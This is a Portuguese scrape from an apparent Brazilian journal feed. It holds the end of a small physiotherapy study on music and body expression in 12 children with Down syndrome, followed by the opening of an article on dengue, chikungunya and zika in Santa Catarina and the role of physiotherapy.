<p class="wp-block-paragraph">O delineamento da pesquisa, segundo Gil (1995, p. 35), “[&#8230;] refere-se ao planejamento da pesquisa em sua dimensão mais ampla, envolvendo tanto a sua diagramação quanto à previsão de análise e interpretação dos dados.”</p>



<p class="wp-block-paragraph"><strong>2.1 TIPOS DE ESTUDO</strong></p>



<p class="wp-block-paragraph">Ensaio Clínico sem Grupo Experimental.</p>



<p class="wp-block-paragraph"><strong>2.2 LOCAL DE ESTUDO</strong></p>



<p class="wp-block-paragraph">APAE de Capivari de Baixo &#8211; Avenida General Mendonça Lima, Nº 399 &#8211; Centro<br>CEP: 88.745-000 &#8211; Capivari de Baixo &#8211; Telefone (48) 3623-0130.&nbsp;</p>



<p class="wp-block-paragraph">APAE de Tubarão &#8211; Rua Lauro Muller, 3171 &#8211; Bairro: Passagem CEP: 88705-101 &#8211; Tubarão/SC – Telefone (48) 3626-8712.</p>



<p class="wp-block-paragraph"><strong>2.3 SUJEITOS DA PESQUISA</strong></p>



<p class="wp-block-paragraph">Foram selecionados os indivíduos matriculados em APAE’s, que necessitavam de tratamento fisioterapêutico e cujos familiares assinaram o Termo de Consentimento Livre e Esclarecido (TCLE), tendo uma população de 12 crianças e a amostra foi composta pela população total sem perda amostral.</p>



<p class="wp-block-paragraph">Foram incluídos indivíduos de seis a onze anos de idade cronológica com diagnóstico médico de SD, independentemente da classificação.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Foram excluídos os indivíduos que faltaram uma sessão.</p>



<p class="wp-block-paragraph"><strong>2.4 COLETA DE DADOS</strong></p>



<p class="wp-block-paragraph">O desenvolvimento do estudo seguiu os preceitos éticos da Resolução nº 466/12 do Conselho Nacional de Saúde (BRASIL, 2012). Anteriormente a coleta de dados o projeto foi enviado ao Comitê de Ética em Pesquisa&nbsp; sob o nº CAAE 22282313.8.0000.5369.</p>



<p class="wp-block-paragraph">O método utilizado na investigação foi primeiramente ligar para a instituição já citada, relatando sobre a pesquisa e a sua importância. Foi então marcada uma reunião com os pais e responsáveis pela instituição, para expor de maneira clara e objetiva o trabalho que foi realizado com as crianças, desta forma pedindo autorização para realizá-lo.</p>



<p class="wp-block-paragraph">As atividades foram realizadas na instituição com a presença do professor e do pesquisador. Primeiramente, os responsáveis da instituição assinaram um termo de acordo, e os responsáveis pelas crianças assinaram um termo de consentimento livre e esclarecido, contendo o esclarecimento (TCLE) sobre pesquisa. (ANEXO A e B).</p>



<p class="wp-block-paragraph">Foram realizados doze atendimentos sendo que no primeiro e no décimo segundo atendimento foi a avaliação e reavaliação da motricidade global utilizado a Escala de Desenvolvimento Motor (EDM). Durante a aplicação da escala foi avaliado se a criança tem êxito em uma prova, se o resultado foi positivo registrou-se na folha de resposta com o símbolo numérico 1. Caso a criança não tenha realizado o exame, resultado foi negativo, registrado 0. Se a prova exige habilidade com o lado direito e esquerdo do corpo, foi registrado 1, quando houver êxito com os dois membros. Se a prova teve resultado positivo em apenas com um dos membros (direito ou esquerdo), o resultado foi registrado ½ na folha de resposta. (ANEXO C e D).</p>



<p class="wp-block-paragraph">Os valores de desenvolvimento dos gráficos do quociente de desenvolvimento global foi classificado segundo Rosa Neto, Os procedimentos descritos acima foram utilizados para a realização da coleta de dados, no qual foi avaliado a motricidade global. (ANEXO E).</p>



<p class="wp-block-paragraph">Para avaliar a capacidade expressiva da criança com SD foram filmados os atendimentos e posteriormente foram comparados e descritos em forma de texto corrido. A filmagem só foi realizada após o responsável assinar o termo autorização de foto e filmagem. (ANEXO G).</p>



<p class="wp-block-paragraph">A pesquisa foi realizada por 3 meses, com atendimentos de 45 minutos, duas vezes por semana, feito com exercícios básicos de MMSS (membros superiores) e MMII (membros inferiores) movimentos auxiliados pela música; quando a música não pedia nenhum movimento específico, a criança fez movimentos aleatórios com: erguer as mão, abraçar o próprio corpo, abaixar-se e levantar-se.</p>



<p class="wp-block-paragraph">As músicas foram selecionadas e armazenadas em um pen-drive. Essa seleção foi composta por músicas didáticas e que contribuíram com o tratamento fisioterapêutico: (ANEXO F).</p>



<ul class="wp-block-list">
<li>Estátua – Xuxa &#8211; Compositor: Ary Sperling – Versão: Vanessa Alves.</li>



<li>Cabeça, Ombro, Joelho e pé – Xuxa &#8211; Compositor: M Cook / J Fatt / A Field / G Page – Versão: Vanessa Alves.</li>



<li>Os dedinhos – Eliana &#8211; Compositor: D.p. &#8211; Adaptação: João Plinta.</li>



<li>Vamo Pulá &#8211; Sandy e Junior &#8211; Compositor: Feio / Tiãozinho / Xororó.</li>



<li>Mexe, Mexe – Chiquititas – Compositor: Carlos Nilson / Cristina Giácomo – Versão: Caion / G Adia.</li>



<li>As Mãos &#8211; Patati, Patatá – Compositor: Patati, Patatá.</li>



<li>Direita, Esquerda &#8211; Patati, Patata – Compositor: Sarah / Greyce / Tatti.</li>



<li>Ciranda &#8211; Galinha Pintadinha – Compositor: D.p. &#8211; Adaptação: Galinha Pintadinha.</li>



<li>Marcha Soldado &#8211; Galinha Pintadinha – Compositor: D.p. &#8211; Adaptação: Galinha Pintadinha.</li>



<li>A Dança do Macaco &#8211; Patati, Patatá – Compositor: Muguinho.</li>



<li>Amor Universal &#8211; Patati, Patatá – Compositor: Patati, Patatá.</li>



<li>Banho &#8211; Castelo Ratimbum – Compositor: Hélio Zinskind.</li>



<li>Mazu &#8211; Bia Bedrem – Compositora: Bia Bedrem.</li>



<li>Dança do Loro &#8211; Patati, Patata&nbsp; – Compositor: Patati, Patata.</li>
</ul>



<p class="wp-block-paragraph"><strong>2.5 ANÁLISES DE DADOS</strong></p>



<p class="wp-block-paragraph">Os dados foram armazenados em um banco de dados e analisados com o auxílio do <em>software</em> Excel<sup>®</sup>.</p>



<p class="wp-block-paragraph">Para comparar as medidas da avaliação e da reavaliação foi utilizado o teste de Wilcoxon para amostras dependentes.</p>



<p class="wp-block-paragraph"><strong>3. RESULTADO, DISCUSSÃO DOS DADOS</strong></p>



<p class="wp-block-paragraph">Os resultados obtidos são referentes a 12 alunos, 7 masculinos e 5 femininos, com idade cronológica entre 6 e 11 anos, matriculados nas&nbsp; APAES de Capivari de Baixo / S.C e Tubarão /S.C com diagnóstico de SD.&nbsp;</p>



<p class="wp-block-paragraph">No Gráfico 1, temos a média da idade cronológica que é de 101,25 meses, idade da motricidade global da avaliação é de 91,66 meses e da reavaliação 98,16 meses, assim podendo comparar a média entre cada idade, observando um aumento da idade da motricidade global na reavaliação em comparação a avaliação</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico &#8211; 1</strong> – Média entre as idades&nbsp; em meses.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="753" height="528" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-1233.png" alt="" class="wp-image-259908" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-1233.png 753w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1233-300x210.png 300w" sizes="(max-width: 753px) 100vw, 753px" /></figure>



<p class="wp-block-paragraph">Foram realizados 12 atendimentos sendo uma avaliação e uma reavaliação para comparação de dados, os outros atendimentos foram aplicação da música e a expressão corporal, na tabela 1 podemos observar a idade da motricidade global de cada criança na avaliação e a reavaliação.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1 </strong>– Idade da motricidade global da avaliação e da reavaliação por meses.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td class="has-text-align-center" data-align="center"><strong>Classificação numérica </strong><strong>da criança</strong></td><td class="has-text-align-center" data-align="center"><strong>Avaliação</strong><strong>&nbsp;(Mês)</strong></td><td class="has-text-align-center" data-align="center"><strong>Reavaliação</strong><strong>&nbsp;(Mês)</strong></td></tr><tr><td class="has-text-align-center" data-align="center"><strong>1</strong></td><td class="has-text-align-center" data-align="center">78m</td><td class="has-text-align-center" data-align="center">78m</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>2</strong></td><td class="has-text-align-center" data-align="center">96m</td><td class="has-text-align-center" data-align="center">96m</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>3</strong></td><td class="has-text-align-center" data-align="center">72m</td><td class="has-text-align-center" data-align="center">84m</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>4</strong></td><td class="has-text-align-center" data-align="center">102m</td><td class="has-text-align-center" data-align="center">102m</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>5</strong></td><td class="has-text-align-center" data-align="center">108m</td><td class="has-text-align-center" data-align="center">114</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>6</strong></td><td class="has-text-align-center" data-align="center">90m</td><td class="has-text-align-center" data-align="center">96m</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>7</strong></td><td class="has-text-align-center" data-align="center">86m</td><td class="has-text-align-center" data-align="center">86m</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>8</strong></td><td class="has-text-align-center" data-align="center">96m</td><td class="has-text-align-center" data-align="center">102m</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>9</strong></td><td class="has-text-align-center" data-align="center">108m</td><td class="has-text-align-center" data-align="center">114m</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>10</strong></td><td class="has-text-align-center" data-align="center">60m</td><td class="has-text-align-center" data-align="center">72m</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>11</strong></td><td class="has-text-align-center" data-align="center">96m</td><td class="has-text-align-center" data-align="center">114m</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>12</strong></td><td class="has-text-align-center" data-align="center">108m</td><td class="has-text-align-center" data-align="center">108m</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Legenda: meses (m)</p>



<p class="has-text-align-center wp-block-paragraph">Fonte: Dados coletado pelo autor; 2014</p>



<p class="wp-block-paragraph">Os dados seguintes complementam de uma forma linear a tabela 1 onde os resultados foram: crianças 1, 2, 4, 7 e 12 mantiveram a idade da motricidade global, as demais crianças obtiveram melhora, sendo a criança 11 a que mais evoluiu no desenvolvimento da motricidade global. (GRÁFICO-2)</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="924" height="628" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-1235.png" alt="" class="wp-image-259910" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-1235.png 924w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1235-300x204.png 300w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1235-768x522.png 768w" sizes="(max-width: 924px) 100vw, 924px" /></figure>



<p class="wp-block-paragraph">A criança é um ser totalmente expressivo; em relação a expressão corporal após análise dos vídeos pode-se afirmar que houve melhora&nbsp; no momento da aplicação do teste, cada criança foi identificando-se de forma a deixar o corpo interagir com o ritmo da música. No primeiro dia cada criança mostrou uma particularidade, umas mais ativas outras menos, teve criança que só foi entrar na dança após 2º atendimento, ao final do trabalho todas as crianças estavam cantando e dançando, cada uma delas demonstraram melhora em certas habilidades como saltar, correr, saltar em um pé só e alternadamente.&nbsp; Segundo uma professora “a convivência em sala de aula, professor / criança e criança/ colegas teve uma melhora inexplicável, assim como na interação com o próprio corpo e que a mesma iria adotar a música como forma de estímulo”.</p>



<p class="wp-block-paragraph">Um dos objetivos primordiais de uma terapia é estabelecer uma relação sólida entre terapeuta e paciente, garantindo confiança e prazer no processo terapêutico. No contexto da musicoterapia, o início do trabalho em uma instituição demanda uma classificação geral das crianças com Síndrome de Down, considerando níveis distintos de desenvolvimento cognitivo, conforme apontado por pesquisas contemporâneas (Uricoechea, 2024).</p>



<p class="wp-block-paragraph">Todas as crianças participantes deste estudo apresentavam trissomia 21 por não disjunção, o que dispensou subdivisões por tipo de alteração cromossômica. Crianças com Síndrome de Down frequentemente demonstram respostas mais lentas ao ambiente, influenciando seu desenvolvimento cognitivo. Esse desenvolvimento não apenas ocorre de forma mais lenta, mas também segue trajetórias particulares, influenciado por transtornos de aprendizagem (Silva &amp; Rodrigues, 2023).</p>



<p class="wp-block-paragraph">A estimulação precoce visa favorecer esse desenvolvimento, ampliando o potencial global da criança com Síndrome de Down. Entretanto, segundo Casarin (2023), ainda que a estimulação produza benefícios significativos, ela nem sempre garante autonomia funcional proporcional ao ganho de habilidades. Por isso, intervenções com música tornam-se um recurso diferenciado e altamente eficaz.</p>



<p class="wp-block-paragraph">No contexto dos cuidados integrativos, O’Kelly e Koffman (2022) demonstram que a música fortalece o vínculo terapeuta-cliente e promove bem-estar físico, emocional, social e espiritual em pessoas com Síndrome de Down. O ato de ouvir, cantar, dançar ou improvisar favorece a integração motora e emocional. Durante este estudo, observou-se que as crianças aproximaram-se da música de modo espontâneo, revelando sentimentos e ampliando seus movimentos. A música facilita o alcance de etapas essenciais do desenvolvimento motor, permitindo que cada criança avance dentro de suas próprias possibilidades.</p>



<p class="wp-block-paragraph">Crianças com Síndrome de Down podem apresentar atrasos na motricidade global, influenciados por distúrbios associados. Quando estimuladas de forma adequada, esse atraso pode ser significativamente reduzido (Tecklin, 2024). Evidências recentes reforçam que música e dança são instrumentos valiosos na estimulação motora, promovendo prazer, criatividade e vínculo afetivo durante o processo terapêutico (Freitas &amp; Moura, 2025).</p>



<p class="wp-block-paragraph">Para Braga (apud Negrine, 2022), a motricidade global envolve movimentos amplos realizados pelos grandes grupos musculares, essenciais para as etapas iniciais do desenvolvimento motor. Já Meyer e States (2023) descrevem a organização espacial como a consciência do corpo no ambiente e a capacidade do sujeito de estruturar-se em relação ao espaço ao redor.</p>



<p class="wp-block-paragraph">Fiates (2022) destaca que o esquema corporal é fundamental para organizar o conhecimento, a consciência corporal e a interação com o meio. A dança associada à música estimula movimentos amplos, essenciais para o desenvolvimento da motricidade global e para o reconhecimento do próprio corpo.</p>



<p class="wp-block-paragraph">Lopes (2023) reforça que o trabalho com crianças com Síndrome de Down exige objetivos progressivos e coerentes com a etapa de desenvolvimento. Não se deve estimular habilidades muito avançadas quando a criança ainda não consolidou etapas anteriores. Embora algumas crianças &#8220;saltem&#8221; fases, é essencial respeitar o tempo individual de cada uma, garantindo progresso seguro e contínuo. A música, quando aplicada no momento oportuno, possibilita que a criança acesse suas capacidades reais, afastando o estigma da deficiência e permitindo vivências de autonomia e expressão (Uricoechea, 2024).</p>



<p class="wp-block-paragraph">Os dados da avaliação e reavaliação motora demonstram que crianças com Síndrome de Down possuem significativa capacidade adaptativa, especialmente quando expostas a estímulos musicais desde cedo. O ideal é que o estímulo seja iniciado logo após o nascimento, momento em que o diagnóstico já pode ser confirmado, e as mães devem participar ativamente do processo por serem responsáveis pela continuidade da estimulação (Welch, 2023).</p>



<p class="wp-block-paragraph">Welch (2023) também reforça a relevância de ambientes musicais, pois a interação sonora e o movimento dançado estimulam fortemente o desenvolvimento infantil.</p>



<p class="wp-block-paragraph">O movimento expressivo, conforme Bertherat e Bernstein (2025), representa a forma como o corpo se manifesta no mundo, revelando sensações internas e constituindo um ato de existência. A improvisação é o momento em que a riqueza interior emerge através do corpo.</p>



<p class="wp-block-paragraph">A evolução da expressão corporal observada nas crianças desta pesquisa relaciona-se diretamente ao ambiente musical e à liberdade que lhes é oferecida para se expressarem por meio do movimento, da música e das interações com os colegas.</p>



<p class="wp-block-paragraph"><strong>4. CONSIDERAÇÕES FINAIS</strong></p>



<p class="wp-block-paragraph">A SD tem registros antigos na história do homem, sendo os primeiros trabalhos científicos datados do século XIX. Entretanto, a história da humanidade mostra poucos artigos com a utilização da música com crianças com SD. É fundamental que pesquisadores e profissionais voltem a sua atenção para a compreensão da dinâmica de funcionamento da música em benefício de crianças com SD e outras doenças, uma vez que a música contribui para socialização da criança e pode ser mediadora das relações desta com seus diversos ambientes.</p>



<p class="wp-block-paragraph">Embora essa pesquisa tenha tamanho reduzido da amostra, os comentários foram positivos e tendem a apoiar musicoterapia em tratamentos fisioterapêuticos e a terapia através da música pode auxiliar a recuperação no tratamento do desenvolvimento da motricidade global dos pacientes com SD.&nbsp;</p>



<p class="wp-block-paragraph">Os exercícios da dança possibilitaram o relaxamento do corpo, resultando numa sensação de bem-estar, o que, provavelmente, está associado à liberação de expressão do corpo. Outro fato que pode estar associado à prática de dança e o movimento é a contribuição que a mesma traz no tratamento das crianças com SD tornando-as mais afetivas.</p>



<p class="wp-block-paragraph">Comparando as medidas da avaliação e da reavaliação com o teste de Wilcoxon para amostras dependentes mostrou haver diferença estatisticamente significante (p&lt;0,05) demonstrando que os tratamentos com a música e a expressão corporal auxiliam na melhora do DM de crianças com SD, alcançando o objetivo proposto nessa pesquisa, assim a música e a expressão corporal podem ser uma ferramenta no tratamento de doenças que provocam o atraso do DM em pacientes com SD, promovendo a autonomia e independência de crianças com SD através da estimulação do DM, principalmente na motricidade global.</p>



<p class="wp-block-paragraph">Sugere-se que mais estudos nessa área sejam feitos, além de um tratamento direcionado de acordo com as características de cada criança e com um número amostral maior.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



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			</item>
		<item>
		<title>AEDES AEGYPTI: DENGUE, CHIKUNGUNYA E ZIKA — ANÁLISE COMPARATIVA DE FOCOS E CASOS NO ESTADO DE SANTA CATARINA (2020–2024) E A IMPORTÂNCIA DA FISIOTERAPIA</title>
		<link>https://revistaft.com.br/aedes-aegypti-dengue-chikungunya-e-zika-analise-comparativa-de-focos-e-casos-no-estado-de-santa-catarina-2020-2024-e-a-importancia-da-fisioterapia/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Mon, 15 Dec 2025 18:10:32 +0000</pubDate>
				<category><![CDATA[Fisioterapia]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202512151510 Itamar Sebastião Mattos NetoClarissa Niero MoraesGraciela Freitas ZarbatoLaura Appel BevilaquaAntonio Roque Citadin JúniorJamilla Munir AmerJulia Oriques Américo Miranda SouzaJoão Miranda RESUMO O Aedes aegypti é o principal vetor responsável pela transmissão de dengue, chikungunya e zika, doenças que geram impacto significativo na saúde pública brasileira. Entre 2020 e 2024, o Estado de [&#8230;]]]></description>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512151510</p>



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<p class="has-text-align-right wp-block-paragraph">Itamar Sebastião Mattos Neto<br>Clarissa Niero Moraes<br>Graciela Freitas Zarbato<br>Laura Appel Bevilaqua<br>Antonio Roque Citadin Júnior<br>Jamilla Munir Amer<br>Julia Oriques Américo Miranda Souza<br>João Miranda</p>



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<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">O Aedes aegypti é o principal vetor responsável pela transmissão de dengue, chikungunya e zika, doenças que geram impacto significativo na saúde pública brasileira. Entre 2020 e 2024, o Estado de Santa Catarina apresentou aumento expressivo no número de focos do mosquito e nos casos notificados dessas arboviroses, apontando para mudanças epidemiológicas relevantes. Este Trabalho de Conclusão de Curso tem como objetivo analisar comparativamente os focos e a incidência das três doenças no período mencionado, identificando tendências, riscos e desafios regionais de controle vetorial. Além disso, discute-se a importância da atuação fisioterapêutica nas complicações decorrentes das arboviroses, com destaque para suas contribuições no manejo da dor, recuperação funcional, reabilitação neurológica e respiratória, além da prevenção de incapacidades decorrentes do adoecimento. A pesquisa utiliza revisão bibliográfica, análise de dados epidemiológicos oficiais e interpretação comparativa dos padrões observados no estado. Os resultados apontam para aumento progressivo dos focos do vetor e para variações sazonais marcantes nas notificações das arboviroses, reforçando a necessidade de estratégias integradas de vigilância e educação em saúde. Conclui-se que a fisioterapia desempenha papel essencial e ainda pouco explorado no atendimento e na reabilitação dos pacientes afetados por dengue, chikungunya e zika, sobretudo em casos de sequelas musculoesqueléticas e neurológicas.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Aedes aegypti. Arboviroses. Dengue. Chikungunya. Zika. Fisioterapia. Saúde pública.</p>



<p class="wp-block-paragraph"><strong>ABSTRACT</strong></p>



<p class="wp-block-paragraph">Aedes aegypti is the main vector responsible for the transmission of dengue, chikungunya and Zika, diseases that pose a significant impact on Brazilian public health. Between 2020 and 2024, the state of Santa Catarina recorded a considerable increase in mosquito breeding sites and notified cases of arboviruses, revealing important epidemiological changes. This undergraduate thesis aims to comparatively analyze the number of breeding sites and the incidence of these three diseases during the specified period, identifying trends, risks and regional challenges for vector control. In addition, the study discusses the importance of physiotherapy in the management of complications associated with arboviruses, highlighting its contributions to pain management, functional recovery, neurological and respiratory rehabilitation, and prevention of disabilities. The methodology includes a literature review, analysis of official epidemiological data and comparative interpretation of observed patterns. The results indicate progressive growth in mosquito infestations and marked seasonal variations in disease notifications, reinforcing the need for integrated surveillance and health education strategies. It is concluded that physiotherapy plays an essential and still underexplored role in the rehabilitation of patients affected by dengue, chikungunya and Zika, particularly in cases involving musculoskeletal and neurological sequelae.</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> Aedes aegypti. Arboviruses. Dengue. Chikungunya. Zika. Physiotherapy. Public health.</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">A presença e a expansão do Aedes aegypti configuram-se como um dos maiores desafios contemporâneos de saúde pública no Brasil. Esse mosquito, altamente adaptado ao ambiente urbano, é reconhecido como o principal vetor responsável pela transmissão de dengue, chikungunya e zika, três arboviroses que vêm apresentando crescente incidência no território nacional nas últimas décadas. A intensificação desses agravos está relacionada, entre outros fatores, ao acelerado processo de urbanização desordenada, à mobilidade populacional, às alterações climáticas e às dificuldades estruturais de controle vetorial. Em decorrência desses elementos, estados historicamente considerados de menor vulnerabilidade passaram a registrar aumento expressivo no número de focos do vetor e de casos notificados, como é o caso de Santa Catarina, que no período entre 2020 e 2024 vivenciou oscilações epidemiológicas significativas.</p>



<p class="wp-block-paragraph">As arboviroses transmitidas pelo Aedes aegypti apresentam características clínicas diversas e, muitas vezes, sobrepostas. A dengue, historicamente mais prevalente no país, evoluiu de surtos isolados para uma condição endêmica, com períodos de intensificação epidêmica que pressionam o sistema de saúde. A chikungunya, introduzida mais recentemente no território brasileiro, destaca-se principalmente pela possibilidade de evolução para quadros crônicos de dor articular incapacitante. Já o vírus zika, embora associado inicialmente a sintomas brandos, tornou-se globalmente reconhecido devido à sua relação com malformações congênitas e complicações neurológicas, como a síndrome de Guillain-Barré. Assim, além de representarem agravos infecciosos importantes, essas doenças possuem impacto social, econômico e funcional que ultrapassam o período agudo de infecção.</p>



<p class="wp-block-paragraph">No estado de Santa Catarina, a situação epidemiológica tornou-se especialmente relevante a partir de 2020, quando o número de focos do Aedes aegypti se ampliou de forma contínua, espalhando-se para municípios antes considerados indenes. As condições climáticas favoráveis — especialmente verões quentes e úmidos — combinadas aos desafios de vigilância ambiental, contribuíram para a manutenção e a expansão da infestação. Paralelamente, o estado passou a registrar aumento progressivo nas notificações de dengue, chikungunya e zika, revelando não apenas a presença consolidada do vetor, mas também a circulação ativa dos vírus. Essa conjuntura motivou instituições públicas, pesquisadores e profissionais de saúde a intensificarem análises sobre os fatores determinantes da expansão dessas arboviroses na região.</p>



<p class="wp-block-paragraph">Considerando esse cenário, torna-se essencial compreender de forma ampla e sistemática as tendências epidemiológicas observadas no período de 2020 a 2024, analisando tanto a evolução dos focos do vetor quanto às notificações das doenças. A produção de conhecimento científico nesse campo auxilia a orientar políticas públicas, estratégias de prevenção, ações de educação em saúde e intervenções intersetoriais, especialmente em estados em processo de transição epidemiológica como Santa Catarina. A análise comparativa, além de permitir a identificação de padrões sazonais e geográficos, possibilita avaliar a efetividade das medidas adotadas e identificar lacunas que ainda dificultam o controle vetorial.</p>



<p class="wp-block-paragraph">Outra dimensão de grande relevância refere-se às implicações clínicas e funcionais dos indivíduos acometidos pelas arboviroses, área na qual a Fisioterapia desempenha papel fundamental. Embora a etapa aguda das infecções seja geralmente conduzida pela medicina clínica, é na fase subaguda e, sobretudo, na fase crônica que a fisioterapia se mostra imprescindível. Pacientes com dengue podem evoluir com fadiga intensa, dores musculares prolongadas e comprometimentos no desempenho funcional. Indivíduos com chikungunya frequentemente desenvolvem artralgias persistentes, limitação articular e redução da capacidade laboral, podendo apresentar sequelas por meses ou até anos. Já os casos de zika podem demandar abordagens fisioterapêuticas complexas, especialmente quando associados a complicações neurológicas, seja em adultos ou em recém-nascidos com alterações decorrentes da síndrome congênita do vírus.</p>



<p class="wp-block-paragraph">A atuação fisioterapêutica, portanto, integra um conjunto de estratégias que visam minimizar incapacidades, reduzir dor, restaurar mobilidade, prevenir agravamentos e favorecer a reintegração social dos pacientes. O fisioterapeuta tem papel decisivo no acompanhamento evolutivo, identificando alterações musculoesqueléticas e neurológicas, prescrevendo exercícios específicos, conduzindo protocolos de reabilitação funcional e orientando sobre autocuidados e prevenção de recaídas. Entretanto, apesar da relevância da área, ainda há escassez de estudos que relacionem diretamente a fisioterapia aos impactos funcionais das arboviroses no contexto catarinense.</p>



<p class="wp-block-paragraph">Dessa forma, este trabalho tem como propósito principal realizar uma análise comparativa dos focos do Aedes aegypti e dos casos de dengue, chikungunya e zika registrados em Santa Catarina entre 2020 e 2024, relacionando a evolução epidemiológica com fatores ambientais e estruturais. Paralelamente, busca-se evidenciar a importância da fisioterapia na recuperação e prevenção de sequelas, contribuindo para o entendimento integral do problema, desde sua dimensão epidemiológica até o cuidado clínico e funcional dos pacientes acometidos.</p>



<p class="wp-block-paragraph">A relevância deste estudo está em fornecer um panorama atualizado sobre a situação das arboviroses no estado, destacando tendências e desafios que podem subsidiar futuras intervenções em políticas públicas. Além disso, ao integrar a análise epidemiológica com a perspectiva fisioterapêutica, o trabalho amplia o escopo das discussões acadêmicas sobre o tema, reforçando a necessidade de abordagens multidisciplinares no enfrentamento das arboviroses. Assim, espera-se que esta pesquisa contribua para a compreensão ampliada dos impactos do Aedes aegypti em Santa Catarina, bem como para o reconhecimento do papel essencial da fisioterapia no cuidado aos indivíduos afetados.</p>



<p class="wp-block-paragraph"><strong>2. REFERENCIAL TEÓRICO</strong></p>



<p class="wp-block-paragraph"><strong>2.1 Aspectos gerais do Aedes aegypti</strong></p>



<p class="wp-block-paragraph">O Aedes aegypti é um mosquito de origem africana, atualmente amplamente disseminado em países tropicais e subtropicais. Sua capacidade de adaptação e proliferação em ambientes urbanos favorece a expansão de arboviroses como dengue, chikungunya e zika. Segundo o Ministério da Saúde (2024), o vetor apresenta ciclo de vida curto — variando entre 7 e 10 dias — e deposita seus ovos em recipientes com água parada, mesmo em pequenos volumes, o que dificulta o controle populacional.</p>



<p class="wp-block-paragraph">A fêmea é responsável pela transmissão dos vírus por meio da picada hematófaga. A característica antropofílica do mosquito, somada ao comportamento de picar preferencialmente no período diurno, torna as estratégias de controle ainda mais complexas. Estudos da Organização Mundial da Saúde (OMS, 2023) destacam que a presença do <em>Aedes</em> está diretamente associada a condições climáticas favoráveis, como temperaturas elevadas e alta umidade, fatores claramente observados na região Sul durante parte do ano.</p>



<p class="wp-block-paragraph">Em Santa Catarina, municípios como Joinville, Florianópolis, Itajaí e Chapecó registraram significativo aumento de focos do vetor entre 2020 e 2024, conforme boletins da Diretoria de Vigilância Epidemiológica (DIVE/SC, 2024). A urbanização acelerada, o acúmulo de resíduos e as mudanças no padrão climático têm contribuído para a ampliação da infestação.</p>



<p class="wp-block-paragraph"><strong>2.2 Epidemiologia da dengue</strong></p>



<p class="wp-block-paragraph">A dengue é a arbovirose mais prevalente no Brasil. Apresenta quatro sorotipos virais (DENV-1, DENV-2, DENV-3 e DENV-4), capazes de causar desde quadros leves até formas graves, caracterizadas por choque e hemorragias. A reexposição a sorotipos diferentes aumenta a probabilidade de evolução para dengue grave devido ao fenômeno conhecido como “aumento dependente de anticorpos”.</p>



<p class="wp-block-paragraph">De acordo com o Ministério da Saúde (Boletim Epidemiológico, 2024), o país registrou oscilações importantes nas tendências de transmissão durante o período pandêmico de COVID-19 (2020–2022), com redução inicial seguida por crescimento acelerado em 2023–2024. Em Santa Catarina, os surtos foram mais intensos nos municípios do Vale do Itajaí e da região Norte.</p>



<p class="wp-block-paragraph">Entre os fatores associados ao aumento dos casos estão:</p>



<p class="wp-block-paragraph">a) redução das ações de vigilância durante a pandemia;<br>b) maior circulação dos sorotipos DENV-2 e DENV-3;<br>c) aumento das temperaturas médias;<br>d) mudanças no comportamento populacional e mobilidade urbana.</p>



<p class="wp-block-paragraph"><strong>2.3 Epidemiologia da chikungunya</strong></p>



<p class="wp-block-paragraph">O vírus chikungunya (CHIKV), identificado pela primeira vez no Brasil em 2014, também é transmitido pelo <em>Aedes aegypti</em>. Embora menos letal que a dengue, caracteriza-se por causar febre intensa e artralgias prolongadas. Estudos mostram que até 60% dos pacientes desenvolvem dor articulares persistentes por mais de seis meses, podendo evoluir para artrite crônica (SILVA et al., 2022).</p>



<p class="wp-block-paragraph">Em Santa Catarina, a circulação do vírus aumentou significativamente após 2022, com registros de transmissão autóctone em municípios de médio porte. A DIVE/SC (2024) aponta que a maior parte dos casos ocorreu em áreas de intensa densidade populacional, replicando o padrão observado em outros estados brasileiros.</p>



<p class="wp-block-paragraph">A chikungunya é especialmente relevante para a fisioterapia devido ao potencial incapacitante das sequelas articulares. Os impactos na capacidade laboral e na qualidade de vida fazem com que o acompanhamento fisioterapêutico seja fundamental desde o período subagudo.</p>



<p class="wp-block-paragraph"><strong>2.4 Epidemiologia da zika</strong></p>



<p class="wp-block-paragraph">O vírus zika ganhou destaque mundial após o surto de 2015–2016, quando foi comprovado seu envolvimento com a síndrome congênita do Zika Vírus, incluindo microcefalia e déficits neurológicos. A transmissão ocorre primariamente pelo <em>Aedes aegypti</em>, embora haja possibilidade de transmissão sexual, vertical e por transfusão sanguínea.</p>



